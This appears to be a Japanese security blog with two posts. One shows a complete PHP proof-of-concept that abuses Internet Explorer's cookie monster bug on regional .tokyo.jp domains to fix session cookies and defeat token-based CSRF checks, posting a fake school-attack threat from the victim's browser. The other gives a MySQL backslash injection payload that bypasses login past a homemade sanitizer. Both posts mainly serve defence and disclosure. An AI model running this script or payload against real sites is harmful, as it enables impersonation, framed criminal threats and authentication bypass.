クッキーモンスターバグとは

ここでクッキーモンスターバグについて説明します。
クッキーのデフォルト動作では、クッキーをセットしたホスト(FQDN)にのみクッキーが送信されますが、domain属性を指定することにより、クッキー送信するドメインを広げることができます。たとえば、以下のようにdomain=example.jpを指定すると、example.jpのサブドメインのホスト、たとえば、www.example.jpやsub1.example.jpにもfoo=barというクッキーが送信されます。
Set-Cookie: foo=bar; domain=example.jp
それでは、domain=jpと指定すると、JPドメイン名を持つサイト全てにそのクッキーが送信されるかというと、そうではありません。セキュリティ上の理由から、クッキー設定時のdomain指定が制限されているからです。
しかし、ブラウザによっては、この制限が期待した通りにならない場合があります。有名な例としては、地域型JPドメイン名と都道府県型JPドメイン名において、Internet Explorerが正しくdomainの制限を掛けてないことが知られています。この現象をクッキーモンスタバグ(Cookie Monster Bug)と呼びます。

地域型JPドメイン名の例1: city.bunkyo.tokyo.jp (東京都文京区のドメイン名)
地域型JPドメイン名の例2: tokumaru.bunkyo.tokyo.jp (筆者の地域型JPドメイン名)
都道府県型JPドメイン名の例: kawaguchi.tokyo.jp (東京都川口区…ではなく筆者がネタ試験用に取得したドメイン名)

上記のいずれにおいても、IEでは、domain=tokyo.jp という指定が有効になります。その結果、例えば、kawaguchi.tokyo.jp上のサイトに罠を仕掛けて、PHPSESSIDという名前のクッキーをセットすると、tokyo.jp以下の地域型JPドメイン名と都道府県型JPドメイン名全てに有効なクッキーを作れてしまうことになります。これは、セッションIDの固定化攻撃(Session Fixation Attack)を受けやすくなることを意味します。

ログイン処理後のセッションIDの固定化攻撃は簡単に対策できる

とはいえ、地域型JPドメイン名と都道府県JPドメイン名のサイトが、ただちにセッションIDの固定化攻撃を受けて、なりすましされるというわけではありません。セッションIDの固定化攻撃には有効な対策があり、ログイン直後にセッションIDを振り直すだけで、なりすましを防ぐことができます。このため、地域型JPドメイン名と都道府県JPドメイン名は、Webセキュリティの観点からは「できれば避けたほうが良い」というレベルであり、「絶対に使ってはいけない」というものではありません。

ログイン前のセッションIDの固定化攻撃は対策が難しい

ログイン前セッションIDの固定化攻撃というものがあります。文字通り、ログイン前の状態でセッションIDの固定化攻撃をするもので、2006年10月に高木浩光氏がブログ記事「ログイン前Session Fixationをどうするか」で解説されています。詳しくはこの記事をお読みいただくとして、高木浩光氏は、以下の二種類の対策を検討されています。
  • ページごとにセッションIDを振り直す
  • セッションではなくhiddenパラメータにより入力値を引き回す
このうち、高木氏はhiddenパラメータを推奨されています。私も一般論としてはこれに同意しますが、CSRF対策では、この方法は使えません。これについて以下説明します。

CSRFとセッションIDの固定化攻撃

通常のセッションIDの固定化攻撃は以下の流れによります。
  • 攻撃者はログイン前のセッションIDを用意して、クッキーモンスターバグなどにより、これを被害者のブラウザにセットする
  • 被害者が攻撃対象サイトでログインする
  • 攻撃者は、元のセッションIDを「知っている」ので、ログイン状態のセッションを盗むことができる
ところが、冒頭に説明した「CSRF対策」の場合は、以下の手順が成立してしまいます。
  • 攻撃者は入力フォーム(form.php)を閲覧する
  • この状態でクッキーの値とhiddenのトークンの値を調べる
  • 罠を用意する。前項で調べたクッキーはクッキーモンスターバグで被害者のブラウザにセットして、hiddenのトークンは通常のCSRFの手法により送信する
  • クッキーもトークンも正規のものなので、CSRFチェックを回避して、被害者のブラウザから投稿がされる
上記が成立することを現実の地域型JPドメイン名と都道府県型JPドメイン名のサイトを用いて確認しました。以下に、攻撃スクリプトを示します。
<?php
// cURLの初期化
$ch = curl_init('http://tokumaru.bunkyo.tokyo.jp/form.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // 結果を文字列で取得
curl_setopt($ch, CURLOPT_HEADER, true); // ヘッダも取得
// User-Agentを被害者のものに合わせる
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
$str = curl_exec($ch); // HTTPリクエスト要求
curl_close($ch);
// セッションIDとトークンを切り出し
preg_match('/PHPSESSID=([a-z0-9]+);/i', $str, $match);
$sessid = $match[1];
preg_match('/name="token" value="([=+\/a-z0-9]+)"/i', $str, $match);
$token = $match[1];
// 被害者のブラウザにセッションIDを domain=tokyo.jp でセット
setcookie('PHPSESSID', $sessid, 0, '/', 'tokyo.jp');
?>
<body>
<form action="http://tokumaru.bunkyo.tokyo.jp/post.php" method="POST">
<input name="body" value="○○小学校を襲撃します"><br>
<input name="token" value="<?php echo $token; ?>"><br>
<input type="submit" value="ボタンを押して下さい"><br>
PHPSESSID = <?php echo $sessid; ?>
</form>
</body>
このスクリプトを動かす環境を用意しました。こちらから、IEで試して下さい。

認証がある場合のCSRF対策とはどこが違うか

ここで疑問が生じます。私が紹介したCSRF対策のスクリプトは、標準的な対策手法を用いているはずでした。それなのに、なぜ、対策を回避されたのでしょうか。それとも、クッキーモンスターバグがあると、常にCSRF対策まで回避されるのでしょうか?

そうではありません。通常のCSRF対策は、被害者のログインアカウントの悪用を避ける事が目的です。例えば、誰かが私にCSRF攻撃をしかけ、私のtwitterアカウントでハレンチな書き込みをさせられると、私は大変困ります。私のtwitterアカウントは公開されているので、「徳丸が変なことをつぶやいた」となるからです。
しかし、ログイン機能のあるサイトでも、地域型JPドメイン名や都道府県型JPドメイン名の上のサイトなら以下の手順で「IPアドレスを偽装」することならば可能です。
  • 攻撃者は攻撃対象サイトに自分のアカウントでログインする
  • この状態でクッキーの値とhiddenのトークンの値を調べる
  • 罠を用意する。前項で調べたクッキーはクッキーモンスターバグで被害者のブラウザにセットして、hiddenのトークンは通常のCSRFの手法により送信する
  • クッキーもトークンも正規のものなので、CSRFチェックを回避して、被害者のブラウザから投稿がされる
最初のステップ以外は、ログインがない場合と全て同じです。この攻撃の場合、被害者は、攻撃者の用意したアカウント上で投稿をすることになりますが、投稿時のIPアドレスは被害者の端末のものです。アカウントから「容疑者」を割り出せない場合、捜査当局はやはり、「投稿時のIPアドレス」を用いて捜査する可能性が高いと予想します。

すなわち、クッキーモンスターバグがある条件では、トークンを用いたCSRF対策をしていても、「IPアドレスを偽装したなりすまし犯行予告」は防げないことになります。その条件とは、主に以下の両方が成立する場合です。
  • 地域型JPドメイン名または都道府県型JPドメイン名上にサイトがある
  • 利用者がIEを使っている

FAQ

Q1: 入力フォームでセッションIDを振り直せばよいのでは?
A1: ダメです。攻撃者が取得するクッキーは、振り直された後のクッキーです。振りなおしても効果はありません。

Q2: ページごとにセッションIDを振りなおしてもダメ?
A2: Q1と同じ理由でダメです。

Q3: ページ毎にセッションIDを振り直す方式は高木浩光氏が(一応)大丈夫と言っているのに、なぜダメなの?
A3: 通常のセッションIDの固定化攻撃は、被害者がログインなどの操作をした後に、そのセッションIDを使って攻撃者がブラウザするものです。今回説明した方法は、攻撃者がお膳立てしたセッションのクッキーを用いて、リクエスト一発で攻撃が成立するところが違います。

Q4: リクエスト一発ですまないように、途中で確認画面をはさんでもダメ?
A4: 確認画面まで攻撃者が遷移した後に、前記の攻撃をしかけるので、結局「リクエスト一発」です。

Q5: CAPTCHAによるCSRF攻撃対策でもだめ?
A5: 攻撃者はCAPTCHAを解いて、その正答をPOSTリクエストに含めることができます。正答はセッションの保存されていますが、クッキーモンスターバグにより、攻撃者と同じ「CAPTCHAの正答」が被害者のブラウザに再現されるため、CAPTCHAでも防げません。※分かりにくかったので加筆修正しましたCAPTCHAの状態はセッションに記憶するので、結局同じです

※追記その2
twitterで@nihen さんからご指摘いただきました。現在の「罠」は全自動ですが、CAPTCHAがあると手動の部分が入るので、攻撃はしにくくなり、攻撃の成功確率を下げる工夫も可能です。したがって、CAPTCHAは、完全とは言えないにしても、攻撃抑止の効果はあります。


Q6: PHPのSession Adoptionのせいではないのか?
A6: 攻撃の流れで正規のセッションIDを取得して使うので、Session Adoptionは関係ありません

Q7: ワンタイムトークンにしたら防げないの?
A7: トークンは別のところで使っていないので、ワンタイムトークンでも同じです。強いて言えば、「2番目に罠に掛かった人」には攻撃は成立しなくなりますが、攻撃者にとってはかえって好都合と言えます。同じ内容を何人もが書き込んでいると不自然だからです。

Q8: Refererによる対策はダメ?
A8: Refererによる対策は有効です。参考:リファラとCSRF対策の話

Q9: 今回の事件の現場となった横浜市「市民からの提案」サイトにもこの問題があるの?
A9: 横浜市のサイトは.LG.JPドメイン名なので、クッキーモンスターバグがありません。また、トークンではなく、Refererによる対策を施しているようです。従って、ここで紹介している問題には該当しません。

では、どうすればよいのか

地方公共団体のWebサイトの多くが地域型JPドメイン名上にあるので、上記に該当するサイトは多そうです。
以下、対策に役立つ可能性のあるアイデアを列記します。
  • RefererによるCSRF対策をする
  • 地域型JPドメイン名からLG.JPドメイン名に移行する
  • トークン生成と書き込みページのリモートIPアドレスを比較して、違っていたらエラーにする
  • 書き込み実行時のIPアドレスに加えて、トークン生成時のIPアドレスも記録する
  • 犯行予告など無視する
  • IPアドレスを一切記録しない
  • 例えば、IEを避ける(参考: 例えば、PHPを避ける)
  • Microsoft社に運動してクッキーモンスターバグを修正してもらう
このうち、RefererによるCSRF対策は、Refererをオフにしている利用者が投稿機能を利用できなくなるという副作用がありますが、地方公共団体などに限れば、許容出来るかもしれません。たとえば普段はOperaでRefererをオフにしてブラウズしている利用者にも、市役所等に投稿する場合などに限り別のブラウザ(例えばGoogle Chrome)を使ってもらう、などです。しかし、それを言うなら、普段IEを使っている利用者に、市役所のサイトに投稿する時だけ別のブラウザを使ってもらってもよいことになります(この場合は、IEからの書き込みをチェックしてエラーにする必要があります)。

トークン生成と書き込みページのリモートIPアドレス(ブラウザのIPアドレス)を比較して、違っていたらエラーにするという方法は、CSRF攻撃の際に、攻撃者が被害者とは別のIPアドレスで投稿フォームを参照する性質を利用したものです。攻撃者が、被害者と同じIPアドレスを使えるのであれば、わざわざCSRFを使う必要はありません。この方法の副作用は、通常の利用であってもリモートIPアドレスが変化する場合があり、投稿を拒否されてしまうことです。一般的には、許容されない方法と言えます。

トークン生成時のIPアドレスを記録する(投稿とトークン生成時のIPアドレスを紐付けて保存する)という方法は、副作用が少なく実現も容易ですが、なりすましの犯行予告自体はできてしまうとろこが悩ましいところです。

このようなさまざまな「対策」には副作用もあるので、長期的には、地方公共団体等は地域型JPドメイン名から、LG.JPドメイン名に移行することが望ましいと考えます。

まとめ

なりすまし犯行予告に備えて、投稿サイトにCSRF対策を施すケースが多くなると考えられますが、地域型JPドメイン名とIEの組み合わせなど、クッキーモンスターバグのある状態では、トークンによる標準的な対策が回避されることを示しました。
この攻撃は、攻撃者が投稿ボタンをクリックした際に送信されるリクエストを、被害者のブラウザ上から送信させるものです。通常のCSRFでは、クエリ文字列、POSTパラメータを攻撃者が自由に設定できますが、クッキーモンスターバグがあると、攻撃者はクッキーも被害者のブラウザ上で設定できます。つまり、クエリ文字列、POSTパラメータ、クッキー *以外の* 方法で、通常のリクエストと攻撃を区別しなければなりません。この目的で使えるリクエストヘッダは、Refererだけだと考えますが、Refererを使う対策には副作用もあります。リモートIPアドレスも使えますが、やはり副作用があります。(2013/3/1 11:00 このパラグラフ追記)
このエントリでは、問題の報告と対策案の大まかな検討に止めましたので、今後の活発な議論を期待します。

2013年2月23日土曜日

自己流のSQLインジェクション対策は危険

SQLインジェクションについて解説したブログ記事を読んだところ、ユニークな対策方法が紹介されていました。この対策方法の問題点について解説し、正しい脆弱性対処の重要性を説明します。

ユニークなSQLインジェクション対策


SQLインジェクションのブログ記事を読んでいて、対策として以下のスクリプトが紹介されていました。
$_GET[id]=strip_tags(htmlspecialchars($_GET[id]));
$_GET[id]=preg_replace(array(‘/[~;\'\"]/’,'/–/’),”,$_GET[id]);
現在は当該のスクリプトは削除されているので、当該エントリは参照せず、「昔々あるところにこのようなSQLインジェクション脆弱性対処スクリプトがあった」という想定で以下の議論を進めます。

問題点の説明

このスクリプトはいくつかの問題点があります。
  • $_GETを直接変更していて汎用性が乏しい
  • idをクォートしていないなどいくつかの文法エラー
  • 表示前提でないのにHTMLエスケープしている
  • HTMLエスケープした後strip_tagsを呼んでいるが、この段階ではタグはエスケープ済みなので、strip_tagsは何もしない
  • 「危険な文字」を削除するサニタイジング手法を用いている
このままでは動かすことができないので、以下のようにsanitize関数として少し修正したものを紹介します。
function sanitize($str) {
  $str = strip_tags(htmlspecialchars($str));
  return preg_replace(array('/[~;\'\"]/', '/-/'), '', $str);
}
この関数に、さまざまな文字を通した結果を下表に紹介します。

入力文字htmlspecialcharsstrip_tagspreg_replace(最終)
AAAA
5555
<&lt;&lt;&lt
>&gt;&gt;&gt
&&amp;&amp;&amp
"&quot;&quot;&quot
'''(空)
\\\\
;;;(空)
---(空)
~~~(空)
####

HTMLエスケープの対象となる < > & " の4文字は、文字実体参照に変換された後、preg_replace関数でセミコロンを削除してしまうので、中途半端な妙な文字化けになりそうです。
一般的な原則としては、データベースにはHTMLの形ではなくプレーンテキストの形で保存しておき、HTMLとして表示する直前にHTMLエスケープする方法で統一することで、上記のような文字化けやエスケープ漏れをなくすことがよいでしょう。

脆弱性はないのか

このsanitize関数に脆弱性はないでしょうか。上表のように、バックスラッシュ(円記号)を素通ししているので、MySQLや、設定によってはPostgreSQLの場合に、問題が生じそうです。以下、それを説明します。以下の説明では、MySQLを使う想定とします。
以下のように、ログイン処理を想定したSQL文組立があったとします。
$sql = sprintf("SELECT * FROM users WHERE id='%s' AND pwd='%s'", sanitize($id), sanitize($pwd));
ここで、$idと$pwdが以下だったとします。
$id = '\\';   // \ 1文字
$pwd = 'password';
$sqlは下記となります。
SELECT * FROM users WHERE id='\' AND pwd='password'
ここで、id=の後の文字列リテラルはどこまででしょうか。\'は「シングルクォートを\でエスケープしたもの」、すなわちリテラル内の文字と解釈されるので、その次のシングルクォートまでが文字列リテラルになります。つまり、 AND pwd=まで(黄色でマークした部分)が文字列リテラルと解釈されます。その後の password' は「文字列リテラルの外」、すなわちSQL文の構文と解釈されますが、SQL文として正しくないので、このSQL文は構文エラーになります。
それでは、passwordのところをSQL文として正しくなるように変更したらどうでしょうか。これがSQLインジェクション攻撃です。その例を以下に示します。
$id = '\\';   // \ 1文字
$pwd = ' OR 1=1#';
組み立てられたSQL文は以下となります。
SELECT * FROM users WHERE id='\' AND pwd=' OR 1=1#'
passwordの代わりに、OR 1=1(青くマークした部分)が正しいSQL文(の一部)となります。#以降はMySQLのコメントとして無視されます。すなわち、これで認証回避が可能となりました。

「自己流の脆弱性対策」の危険性

以上に説明したように、htmlspecialchars、strip_tags、preg_replaceの三種類の関数を使った「独自の」でSQLインジェクション対策には抜けがあり、SQLインジェクション攻撃を許してしまう可能性があることがわかりました。
SQLインジェクションを含めて、脆弱性対処の方法論は、世界中の専門家がさまざまな観点から研究しています。SQLインジェクション対策に関しては、数年前から「究極形」がわかっており、特別な事情のある場合を除いて、わざわざ別の方法を用いる必要はないでしょう。特別な場合とは以下の様なケースです。
  • データベースアクセスを含むフレームワークを新たに開発する場合
  • O/Rマッパーを自作する場合
  • phpMyAdminのようなデータベース管理ツールを自作する場合
大半の開発者は、上記を作らないでしょう。だから、以下に示す、SQLインジェクション対策の「究極形」に従うことを強く推奨します。それは下記のとおりです。
  • 文字列連結(sprintf等を含む)を用いてSQL文を組み立てない
  • 静的プレースホルダを用いてSQL文にパラメータを割り当てる
  • データベース接続時に文字エンコーディングを指定する
上記の理論的な根拠については、IPAの「安全なSQLの呼び出し方」を参照下さい。また、PHP+PDOを用いた実際的なSQLアクセスの方法については、「PDOにおける一応の安全宣言と残る問題点」を参照下さい。
また、SQLインジェクション対策の解説をこれから書こうとする人には、ぜひajiyoshiさんの素晴らしいブログ記事「Webアプリケーションとかの入門本みたいのを書く人への心からのお願い。」をお読み下さい。このような文章が、現場の開発者から出てくることは本当に素晴らしいことです。

まとめ

自己流の脆弱性対処の危険性について、具体例を用いて説明しました。SQLインジェクションは、非常に危険な脆弱性ですが、完全な対処の仕方が分かっていて、正しいプログラミングをする限り恐れる必要はありません。ここで紹介した解説資料を参照して、あなたのWebサイトを安全にしてください。



フォロワー

ブログ アーカイブ